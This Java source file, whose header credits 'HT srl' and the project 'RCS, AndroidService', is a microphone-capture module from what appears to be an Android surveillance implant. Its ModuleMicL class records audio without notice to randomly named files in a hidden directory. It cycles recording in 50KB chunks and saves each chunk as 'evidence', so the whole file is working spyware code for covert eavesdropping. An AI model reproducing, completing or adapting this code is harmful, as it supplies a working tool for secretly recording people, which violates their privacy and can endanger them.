/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : MicAgent.java
 * Created      : Apr 18, 2011
 * Author		: zeno
 * *******************************************/

package com.android.dvci.module;

import android.media.MediaRecorder;

import com.android.dvci.auto.Cfg;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Path;
import com.android.dvci.util.Check;
import com.android.dvci.util.DateTime;
import com.android.dvci.util.Utils;

import java.io.FileInputStream;
import java.io.IOException;

/**
 * The Class MicAgent. 8000KHz, 16bit
 *
 * @author zeno
 * @ref: http://developer.android.com/reference/android/media/MediaRecorder.html
 */
public class ModuleMicL extends ModuleMic {

	private static final String TAG = "ModuleMicL"; //$NON-NLS-1$
	private static final long MAX_FILE_SIZE = 1024 * 50;//50KB

	private AutoFile out_file;

	public ModuleMicL() {
		super();
	}

	void specificStop() {
		stopRecorder();
		recorder = null;
	}

	void specificGo(int numFailures) {

		if (numFailures > 10) {
			stopRecorder();
			recorder = null;
			if (Cfg.DEBUG) {
				Check.log(TAG + "numFailures: " + numFailures);//$NON-NLS-1$
			}
		}
	}

	byte[] unfinished = null;

	protected byte[] getAvailable() {
		byte[] ret = null;

		if (out_file != null && out_file.exists() && out_file.getSize() != 0) {
			FileInputStream fin = null;
			try {
				// create FileInputStream object
				fin = new FileInputStream(out_file.getFile());
				ret = new byte[(int) out_file.getSize()];
				// Reads up to certain bytes of data from this input stream into an array of bytes.
				fin.read(ret);
			} catch (IOException ioe) {
				if (Cfg.DEBUG) {
					Check.log(TAG + "(getAvailable)  Exception while reading file " + ioe);
				}
			} finally {
				// close the streams using close method
				try {
					if (fin != null) {
						fin.close();
					}
				} catch (IOException ioe) {
					if (Cfg.DEBUG) {
						Check.log(TAG + "(getAvailable) Error while closing stream: " + ioe);
					}
				}
			}
		}
		Check.log(TAG + "(getAvailable) returning " + ret.length);
		return ret;
	}

	/**
	 * Start recorder.
	 *
	 * @throws IllegalStateException the illegal state exception
	 * @throws java.io.IOException   Signals that an I/O exception has occurred.
	 */
	synchronized void specificStart() throws IllegalStateException {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (specificStart)");//$NON-NLS-1$
		}
		numFailures = 0;
		unfinished = null;

		if (recorder == null) {
			final DateTime dateTime = new DateTime();
			fId = dateTime.getFiledate();
			if (Cfg.DEBUG) {
				Check.log(TAG + " (specificStart) new recorder ");//$NON-NLS-1$
			}
			recorder = new MediaRecorder();
			recorder.reset();
		}
		if(recorder == null){
			if (Cfg.DEBUG) {
				Check.log(TAG + " (specificStart) error requesting recorder ");//$NON-NLS-1$
			}
		}
		recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
		recorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);
		recorder.setOnErrorListener(this);
		recorder.setOnInfoListener(this);
		recorder.setMaxFileSize(MAX_FILE_SIZE);
		recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
		createSockets();
		if (out_file != null) {
			recorder.setOutputFile(out_file.getFilename());
		} else {
			recorder.reset();  // You can reuse the object by going back to setAudioSource() step
			recorder.release();// Now the object cannot be reused
			recorder = null;
		}
		try {

			recorder.prepare();
			recorder.start(); // Recording is now started
		} catch (Exception e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (specificStart) another apps may be blocking recording: " + e);//$NON-NLS-1$
			}
			if (recorder != null) {
				recorder.reset();  // You can reuse the object by going back to setAudioSource() step
				recorder.release();// Now the object cannot be reused
				recorder = null;
			}
			if (out_file != null) {
				deleteSockets();
			}
		}
	}

	private void createSockets() {
		if (out_file == null) {
			out_file = new AutoFile(Path.hidden(), Utils.getRandom() + ".a");
			if (Cfg.DEBUG) {
				Check.log(TAG + " (createSocket) new file: " + out_file.getFile());//$NON-NLS-1$
			}
		}
	}

	private void deleteSockets() {
		if (out_file != null && out_file.exists()) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (deleteSockets) delete file: " + out_file.getFile());//$NON-NLS-1$
			}
			out_file.delete();
		}
		out_file = null;
	}

	// http://sipdroid.googlecode.com/svn/trunk/src/org/sipdroid/sipua/ui/VideoCamera.java

	/**
	 * Stop recorder.
	 */
	synchronized void stopRecorder() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (stopRecorder)");//$NON-NLS-1$
		}
		if (recorder != null) {
			recorder.setOnErrorListener(null);
			recorder.setOnInfoListener(null);

			try {
				recorder.stop();
				recorder.reset();  // You can reuse the object by going back to setAudioSource() step
			} catch (Exception ex) {
				if (Cfg.DEBUG) {
					Check.log(ex);
				}
				if (Cfg.DEBUG) {
					Check.log(TAG + " (saveRecorderEvidence) resetting recorder");
					recorder = null;
				}
			}
			if (out_file == null || !out_file.exists()) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (saveRecorderEvidence) Error: out_file not available");

				}
				numFailures += 1;
			} else {
				saveRecorderEvidence();
			}
		}
	}

	@Override
	void specificSuspend() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (specificSuspend): releasing recorder");
		}
		stopRecorder();
		deleteSockets();
		recorder.release();
		recorder=null;
	}

	@Override
	void specificResume() {

	}

	public void onInfo(MediaRecorder mr, int what, int extra) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (onInfo): " + what);//$NON-NLS-1$
		}
		/*
		After recording reaches the specified filesize, a notification will be sent to the MediaRecorder.OnInfoListener with a "what"
		code of MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED
		and recording will be stopped.
		Stopping happens asynchronously, there is no guarantee that the recorder will
		have stopped by the time the listener is notified.
		*/
		if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (onInfo): max Size reached, saving file");//$NON-NLS-1$
			}
			stopRecorder();
			deleteSockets();
			try {
				specificStart();
			} catch (Exception e) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (onInfo): exception restarting Mic");//$NON-NLS-1$
				}
			}
		}
	}

	public void onError(MediaRecorder mr, int what, int extra) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (onError) Error: " + what);//$NON-NLS-1$
		}
		suspend();
	}
	@Override
	public String getTag() {
		return TAG;
	}
}
